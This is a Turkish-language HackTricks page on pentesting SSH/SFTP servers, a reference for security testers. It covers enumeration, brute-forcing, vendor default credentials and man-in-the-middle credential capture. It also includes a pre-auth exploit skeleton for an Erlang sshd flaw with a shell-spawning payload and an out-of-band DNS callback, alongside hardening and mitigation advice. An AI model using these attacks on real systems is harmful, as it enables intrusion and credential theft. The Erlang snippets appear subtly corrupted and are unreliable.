mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
389 lines
25 KiB
Markdown
389 lines
25 KiB
Markdown
# 22 - Pentesting SSH/SFTP
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Temel Bilgiler
|
||
|
||
**SSH (Secure Shell or Secure Socket Shell)**, güvenli olmayan bir ağ üzerinden bir bilgisayara güvenli bir bağlantı sağlayan bir ağ protokolüdür. Uzak sistemlere erişirken verilerin gizliliğini ve bütünlüğünü korumak için esastır.
|
||
|
||
**Varsayılan port:** 22
|
||
```
|
||
22/tcp open ssh syn-ack
|
||
```
|
||
**SSH sunucuları:**
|
||
|
||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux dağıtımlarında ve Windows 10'dan beri Windows'ta yer alır
|
||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Düşük bellek ve işlemci kaynaklarına sahip ortamlar için SSH uygulaması, OpenWrt'te dağıtılır
|
||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows için SSH uygulaması; istemci sıkça kullanılır fakat sunucu kullanımı daha nadirdir
|
||
- [CopSSH](https://www.itefix.net/copssh) – Windows için OpenSSH uygulaması
|
||
|
||
**SSH kütüphaneleri (sunucu tarafı uygulamaları için):**
|
||
|
||
- [libssh](https://www.libssh.org) – SSHv2 protokolünü uygulayan çok platformlu C kütüphanesi; [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) ve [R](https://github.com/ropensci/ssh) için bağlayıcıları vardır; sftp için KDE tarafından ve git SSH altyapısı için GitHub tarafından kullanılır
|
||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C ile yazılmış SSHv2 sunucu kütüphanesi; gömülü, RTOS ve kaynak kısıtlı ortamlar için hedeflenmiştir
|
||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java kütüphanesi Apache MINA'ya dayanır
|
||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol kütüphanesi
|
||
|
||
## Keşif
|
||
|
||
### Banner Grabbing
|
||
```bash
|
||
nc -vn <IP> 22
|
||
```
|
||
### Otomatik ssh-audit
|
||
|
||
ssh-audit, ssh sunucu ve istemci yapılandırma denetimi için bir araçtır.
|
||
|
||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) güncellenmiş bir forkudur [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||
|
||
**Özellikler:**
|
||
|
||
- SSH1 ve SSH2 protokol sunucu desteği;
|
||
- SSH istemci yapılandırmasını analiz etme;
|
||
- banner çekme, cihaz veya yazılım ve işletim sistemini tanıma, sıkıştırmayı algılama;
|
||
- anahtar-değişimi, host-key, şifreleme ve MAC (message authentication code) algoritmalarını toplama;
|
||
- algoritma bilgilerini çıktı verme (available since, removed/disabled, unsafe/weak/legacy, etc);
|
||
- algoritma önerilerini çıktı verme (append or remove based on recognized software version);
|
||
- güvenlik bilgilerini çıktı verme (related issues, assigned CVE list, etc);
|
||
- algoritma bilgilerine dayalı SSH sürüm uyumluluğunu analiz etme;
|
||
- OpenSSH, Dropbear SSH ve libssh'den tarihsel bilgiler;
|
||
- Linux ve Windows üzerinde çalışır;
|
||
- bağımlılık yok
|
||
```bash
|
||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||
|
||
-1, --ssh1 force ssh version 1 only
|
||
-2, --ssh2 force ssh version 2 only
|
||
-4, --ipv4 enable IPv4 (order of precedence)
|
||
-6, --ipv6 enable IPv6 (order of precedence)
|
||
-p, --port=<port> port to connect
|
||
-b, --batch batch output
|
||
-c, --client-audit starts a server on port 2222 to audit client
|
||
software config (use -p to change port;
|
||
use -t to change timeout)
|
||
-n, --no-colors disable colors
|
||
-j, --json JSON output
|
||
-v, --verbose verbose output
|
||
-l, --level=<level> minimum output level (info|warn|fail)
|
||
-t, --timeout=<secs> timeout (in seconds) for connection and reading
|
||
(default: 5)
|
||
$ python3 ssh-audit <IP>
|
||
```
|
||
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||
|
||
### Sunucunun genel SSH anahtarı
|
||
```bash
|
||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||
```
|
||
### Zayıf Şifreleme Algoritmaları
|
||
|
||
Bu varsayılan olarak **nmap** tarafından tespit edilir. Ancak **sslcan** veya **sslyze** de kullanabilirsiniz.
|
||
|
||
### Nmap scriptleri
|
||
```bash
|
||
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
||
nmap -p22 <ip> -sV # Retrieve version
|
||
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
|
||
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
|
||
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
|
||
```
|
||
### Shodan
|
||
|
||
- `ssh`
|
||
|
||
## Brute force usernames, passwords and private keys
|
||
|
||
### Username Enumeration
|
||
|
||
Bazı OpenSSH sürümlerinde kullanıcıları enumerate etmek için bir timing attack gerçekleştirebilirsiniz. Bunu exploit etmek için bir metasploit module kullanabilirsiniz:
|
||
```
|
||
msf> use scanner/ssh/ssh_enumusers
|
||
```
|
||
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
||
|
||
Bazı yaygın ssh kimlik bilgileri [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) ve [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) ve aşağıdadır.
|
||
|
||
### Private Key Brute Force
|
||
|
||
Kullanılabilecek bazı ssh private keys biliyorsanız... deneyelim. nmap script'ini kullanabilirsiniz:
|
||
```
|
||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||
```
|
||
Ya da MSF auxiliary module:
|
||
```
|
||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||
```
|
||
Veya `ssh-keybrute.py` kullanın (native python3, hafif ve legacy algoritmalar etkin): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||
|
||
#### Bilinen badkeys şurada bulunabilir:
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||
{{#endref}}
|
||
|
||
#### Zayıf SSH anahtarları / Debian predictable PRNG
|
||
|
||
Bazı sistemlerde kriptografik materyal üretiminde kullanılan rastgele tohumda bilinen kusurlar vardır. Bu, anahtar uzayının dramatik şekilde küçülmesine ve anahtarların bruteforce ile kırılabilmesine yol açabilir. Weak PRNG'den etkilenen Debian sistemlerinde üretilmiş önceden oluşturulmuş anahtar setleri şurada mevcuttur: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||
|
||
Hedef makine için geçerli anahtarları aramak üzere buraya bakmalısınız.
|
||
|
||
### Kerberos / GSSAPI SSO
|
||
|
||
Hedef SSH sunucusu GSSAPI'yi destekliyorsa (örneğin bir domain controller üzerinde Windows OpenSSH), parola yerine Kerberos TGT'nizi kullanarak kimlik doğrulaması yapabilirsiniz.
|
||
|
||
Linux saldırgan makinesinden iş akışı:
|
||
```bash
|
||
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
|
||
sudo ntpdate <dc.fqdn>
|
||
|
||
# 2) Generate a krb5.conf for the target realm (optional, but handy)
|
||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||
sudo cp krb5.conf /etc/krb5.conf
|
||
|
||
# 3) Obtain a TGT for the user
|
||
kinit <user>
|
||
klist
|
||
|
||
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
|
||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||
```
|
||
Notlar:
|
||
- Yanlış bir ada bağlanırsanız (ör. kısa host, alias veya `/etc/hosts` içindeki yanlış sıra), SPN eşleşmediği için "Server not found in Kerberos database" hatası alabilirsiniz.
|
||
- `crackmapexec ssh --kerberos` Kerberos kimlik doğrulaması için ccache'inizi de kullanabilir.
|
||
|
||
## Varsayılan Kimlik Bilgileri
|
||
|
||
| **Vendor** | **Kullanıcı Adları** | **Parolalar** |
|
||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| APC | apc, device | apc |
|
||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||
| D-Link | admin, user | private, admin, user |
|
||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||
| Juniper | netscreen | netscreen |
|
||
| NetApp | admin | netapp123 |
|
||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||
|
||
## SSH-MitM
|
||
|
||
Eğer yerel ağdaysanız ve kurban SSH server'a kullanıcı adı/parola ile bağlanacaksa, bu kimlik bilgilerini çalmak için **MitM saldırısı gerçekleştirmeyi** deneyebilirsiniz:
|
||
|
||
**Saldırı yolu:**
|
||
|
||
- **Trafik Yönlendirme:** Saldırgan, kurbanın trafiğini kendi makinesine **yönlendirir**, böylece SSH sunucusuna yapılan bağlantı denemesini **ele geçirir**.
|
||
- **Yakalama ve Kayıt:** Saldırganın makinesi bir **proxy** gibi davranır, meşru SSH sunucusuymuş gibi davranarak kullanıcının giriş bilgilerini **kaydeder**.
|
||
- **Komut Çalıştırma ve İletme:** Son olarak saldırganın sunucusu kullanıcının kimlik bilgilerini **kaydeder**, komutları gerçek SSH sunucusuna **iletir**, bunları **çalıştırır** ve sonuçları kullanıcıya geri **gönderir**, böylece süreç sorunsuz ve meşru görünür.
|
||
|
||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) yukarıda anlatılanları tam olarak yapar.
|
||
|
||
Gerçek MitM'i gerçekleştirmek/yakalamak için ARP spoofing, DNS spoofin gibi teknikleri veya [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) bölümünde açıklanan diğer yöntemleri kullanabilirsiniz.
|
||
|
||
## SSH-Snake
|
||
|
||
Keşfedilen SSH private key'leri kullanarak bir ağda dolaşmak, her sistemdeki private key'i yeni hostlar için kullanmak istiyorsanız, [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ihtiyacınız olan araçtır.
|
||
|
||
SSH-Snake otomatik ve özyinelemeli olarak aşağıdaki görevleri gerçekleştirir:
|
||
|
||
1. Mevcut sistemde herhangi bir SSH private key bulun,
|
||
2. Mevcut sistemde private key'lerin kabul edilebileceği host veya hedefleri (user@host) bulun,
|
||
3. Keşfedilen tüm private key'leri kullanarak tüm hedeflere SSH ile bağlanmayı deneyin,
|
||
4. Bir hedefe başarıyla bağlanılırsa, bağlanılan sistemde #1 - #4 adımlarını yineleyin.
|
||
|
||
Tamamen kendini kopyalayan ve kendi kendine yayılan bir yapıya sahiptir — ve tamamen fileless'dir.
|
||
|
||
## Yapılandırma Hataları
|
||
|
||
### Root login
|
||
|
||
SSH sunucularının varsayılan olarak root kullanıcısının girişine izin vermesi yaygındır ve bu ciddi bir güvenlik riski oluşturur. Sunucuyu güvenli hale getirmek için **root login'i devre dışı bırakmak** kritik bir adımdır. Yönetici ayrıcalıklarıyla yetkisiz erişim ve brute force attacks gibi saldırılar bu değişiklikle azaltılabilir.
|
||
|
||
**OpenSSH'de Root Login'i Devre Dışı Bırakmak için:**
|
||
|
||
1. `sudoedit /etc/ssh/sshd_config` ile **SSH konfigürasyon dosyasını düzenleyin**
|
||
2. Ayarı `#PermitRootLogin yes`'den **`PermitRootLogin no`** olarak **değiştirin**.
|
||
3. Yapılandırmayı yeniden yüklemek için: `sudo systemctl daemon-reload`
|
||
4. Değişiklikleri uygulamak için SSH sunucusunu yeniden başlatın: `sudo systemctl restart sshd`
|
||
|
||
### SFTP Brute Force
|
||
|
||
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
|
||
|
||
### SFTP command execution
|
||
|
||
SFTP yapılandırmalarında yaygın bir hata vardır: yöneticiler kullanıcıların sadece dosya alışverişi yapmasını isteyip uzak shell erişimini devre dışı bırakmak isterler. Kullanıcılara non-interactive shell (ör. `/usr/bin/nologin`) atanıp belirli bir dizine hapsedilmelerine rağmen bir güvenlik açığı kalır. **Kullanıcılar, atanan non-interactive shell devreye girmeden hemen sonra** (ör. `/bin/bash` gibi) bir komut çalıştırmayı talep ederek bu kısıtlamaları aşabilirler. Bu, yetkisiz komut çalıştırmaya yol açar ve amaçlanan güvenlik önlemlerini boşa çıkarır.
|
||
|
||
[Example from here](https://community.turgensec.com/ssh-hacking-guide/)
|
||
```bash
|
||
ssh -v noraj@192.168.1.94 id
|
||
...
|
||
Password:
|
||
debug1: Authentication succeeded (keyboard-interactive).
|
||
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
|
||
debug1: channel 0: new [client-session]
|
||
debug1: Requesting no-more-sessions@openssh.com
|
||
debug1: Entering interactive session.
|
||
debug1: pledge: network
|
||
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
|
||
debug1: Sending command: id
|
||
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
|
||
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
|
||
uid=1000(noraj) gid=100(users) groups=100(users)
|
||
debug1: channel 0: free: client-session, nchannels 1
|
||
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
|
||
Bytes per second: sent 43133.4, received 44349.5
|
||
debug1: Exit status 0
|
||
|
||
$ ssh noraj@192.168.1.94 /bin/bash
|
||
```
|
||
İşte kullanıcı `noraj` için güvenli SFTP yapılandırmasına bir örnek (`/etc/ssh/sshd_config` – openSSH):
|
||
```
|
||
Match User noraj
|
||
ChrootDirectory %h
|
||
ForceCommand internal-sftp
|
||
AllowTcpForwarding no
|
||
PermitTunnel no
|
||
X11Forwarding no
|
||
PermitTTY no
|
||
```
|
||
Bu yapılandırma sadece SFTP'ye izin verecek: start komutunu zorlayarak shell erişimini devre dışı bırakır ve TTY erişimini kapatır; ayrıca her türlü port forwarding veya tunneling'i de devre dışı bırakır.
|
||
|
||
### SFTP Tunneling
|
||
|
||
Eğer bir SFTP server'a erişiminiz varsa, trafiğinizi buradan da tunnel edebilirsiniz; örneğin yaygın port forwarding kullanarak:
|
||
```bash
|
||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||
```
|
||
### SFTP Symlink
|
||
|
||
**sftp**'nin "**symlink**" adında bir komutu vardır. Dolayısıyla, bir klasörde **writable rights**'a sahipseniz, **other folders/files** için **symlinks** oluşturabilirsiniz. Muhtemelen bir chroot içinde **trapped** olduğunuz için bu sizin için **won't be specially useful** olacaktır, fakat eğer oluşturduğunuz **symlink**e bir **no-chroot** **service** üzerinden **access** edebilirseniz (örneğin, symlink'e web üzerinden erişebiliyorsanız), **open the symlinked files through the web**.
|
||
|
||
Örneğin, yeni bir dosya **"**_**froot**_**"**'den **"**_**/**_**"**'e bir **symlink** oluşturmak için:
|
||
```bash
|
||
sftp> symlink / froot
|
||
```
|
||
Eğer web üzerinden "_froot_" dosyasına erişebilirseniz, sistemin root ("/") dizinini listeleyebilirsiniz.
|
||
|
||
### Kimlik doğrulama yöntemleri
|
||
|
||
Yüksek güvenlikli ortamlarda genellikle basit password-based authentication yerine yalnızca key-based veya two factor authentication etkinleştirmek yaygın bir uygulamadır. Ancak çoğu zaman daha güçlü kimlik doğrulama yöntemleri etkinleştirilirken daha zayıf olanlar devre dışı bırakılmaz. Sık karşılaşılan bir durum, openSSH yapılandırmasında `publickey`'i etkinleştirip varsayılan yöntem olarak ayarlamak fakat `password`'u devre dışı bırakmamaktır. Bu nedenle SSH istemcisinin verbose modunu kullanarak bir saldırgan daha zayıf bir yöntemin etkin olduğunu görebilir:
|
||
```bash
|
||
ssh -v 192.168.1.94
|
||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||
...
|
||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||
```
|
||
Örneğin, bir authentication failure limit ayarlanmışsa ve password method'a ulaşma şansınız hiç olmuyorsa, bu yöntemi zorlamak için `PreferredAuthentications` seçeneğini kullanabilirsiniz.
|
||
```bash
|
||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||
...
|
||
debug1: Next authentication method: password
|
||
```
|
||
SSH sunucu yapılandırmasını gözden geçirmek, yalnızca beklenen\
|
||
yöntemlerin yetkilendirildiğini kontrol etmek için gereklidir. İstemcide verbose modunu kullanmak, yapılandırmanın etkinliğini görmeye yardımcı olabilir.
|
||
|
||
### Konfigürasyon dosyaları
|
||
```bash
|
||
ssh_config
|
||
sshd_config
|
||
authorized_keys
|
||
ssh_known_hosts
|
||
known_hosts
|
||
id_rsa
|
||
```
|
||
## Fuzzing
|
||
|
||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||
|
||
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||
|
||
Birçok SSH sunucu implementasyonu, bir istemcinin *connection-protocol* mesajlarını kimlik doğrulama tamamlanmadan **önce** göndermesine izin veren **kimlik doğrulama sonlu durum makinesi** (authentication finite-state machine) içinde mantık hataları içerir. Sunucu doğru durumda olduğunu doğrulayamadığı için bu mesajlar kullanıcı tamamen kimlik doğrulaması yapılmış gibi işlenir; bu da **kimlik doğrulaması yapılmamış kod yürütülmesine** veya oturum oluşturulmasına yol açar.
|
||
|
||
Protokol düzeyinde herhangi bir SSH mesajı _message code_ **≥ 80** (0x50) ise *connection* katmanına (RFC 4254) aittir ve **sadece başarılı kimlik doğrulama sonrasında kabul edilmelidir** (RFC 4252). Sunucu bu mesajlardan birini hâlâ *SSH_AUTHENTICATION* durumundayken işlerse, saldırgan hemen bir kanal oluşturabilir ve komut çalıştırma, port yönlendirme vb. işlemler talep edebilir.
|
||
|
||
### Generic Exploitation Steps
|
||
1. Hedefin SSH portuna bir TCP bağlantısı kurun (genellikle 22, ancak diğer servisler Erlang/OTP'yi 2022, 830, 2222… gibi portlarda açıyor olabilir).
|
||
2. Ham bir SSH paketi oluşturun:
|
||
* 4-byte **packet_length** (big-endian)
|
||
* 1-byte **message_code** ≥ 80 (ör. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||
* Seçilen mesaj türü tarafından anlaşılacak payload
|
||
3. Paket(leri) **herhangi bir kimlik doğrulama adımını tamamlamadan önce** gönderin.
|
||
4. Artık _pre-auth_ durumda açığa çıkan sunucu API'leriyle etkileşime geçin (komut çalıştırma, port yönlendirme, dosya sistemi erişimi, …).
|
||
|
||
Python proof-of-concept taslağı:
|
||
```python
|
||
import socket, struct
|
||
HOST, PORT = '10.10.10.10', 22
|
||
s = socket.create_connection((HOST, PORT))
|
||
# skip version exchange for brevity – send your own client banner then read server banner
|
||
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
|
||
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
|
||
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||
s.sendall(pkt)
|
||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||
```
|
||
Pratikte hedef uygulamaya göre key-exchange'i gerçekleştirmeniz (veya atlamanız) gerekecek, ancak **no authentication** hiçbir zaman yapılmaz.
|
||
|
||
---
|
||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||
* **Etkilenen sürümler:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||
* **Kök neden:** Erlang'in yerel SSH daemon'ı, `ssh_connection:handle_msg/2`'yi çağırmadan önce mevcut durumu doğrulamıyor. Bu yüzden mesaj kodu 80-255 olan herhangi bir paket, oturum hala *userauth* durumundayken bağlantı işleyicisine ulaşır.
|
||
* **Etkisi:** kimlik doğrulaması yapılmamış **remote code execution** (daemon genellikle gömülü/OT cihazlarda **root** olarak çalışır).
|
||
|
||
Saldırgan tarafından kontrol edilen kanala bağlı bir reverse shell oluşturan örnek payload:
|
||
```erlang
|
||
% open a channel first … then:
|
||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||
```
|
||
Blind RCE / out-of-band detection DNS üzerinden gerçekleştirilebilir:
|
||
```erlang
|
||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||
```
|
||
Tespit ve Hafifletme:
|
||
* SSH trafiğini denetleyin: **kimlik doğrulama öncesinde gözlemlenen ve mesaj kodu ≥ 80 olan herhangi bir paketi düşürün**.
|
||
* Erlang/OTP'yi **27.3.3 / 26.2.5.11 / 25.3.2.20** veya daha yeni sürüme yükseltin.
|
||
* Yönetim portlarının (22/2022/830/2222) açığını kısıtlayın — özellikle OT ekipmanlarında.
|
||
|
||
---
|
||
### Etkilenen Diğer Implementasyonlar
|
||
* **libssh** 0.6 – 0.8 (server tarafı) – **CVE-2018-10933** – istemci tarafından gönderilen doğrulanmamış `SSH_MSG_USERAUTH_SUCCESS` mesajını kabul eder; pratikte ters mantık hatası.
|
||
|
||
Ortak ders şudur: RFC tarafından zorunlu kılınan durum geçişlerinden herhangi bir sapma hayati sonuçlar doğurabilir; SSH daemon'larını incelerken veya fuzzing yaparken özellikle *durum makinesinin uygulanmasına* dikkat edin.
|
||
|
||
|
||
|
||
## Referanslar
|
||
|
||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
|
||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||
|
||
## HackTricks Otomatik Komutları
|
||
```
|
||
Protocol_Name: SSH
|
||
Port_Number: 22
|
||
Protocol_Description: Secure Shell Hardening
|
||
|
||
Entry_1:
|
||
Name: Hydra Brute Force
|
||
Description: Need Username
|
||
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
|
||
|
||
Entry_2:
|
||
Name: consolesless mfs enumeration
|
||
Description: SSH enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
|
||
|
||
```
|
||
{{#include ../banners/hacktricks-training.md}}
|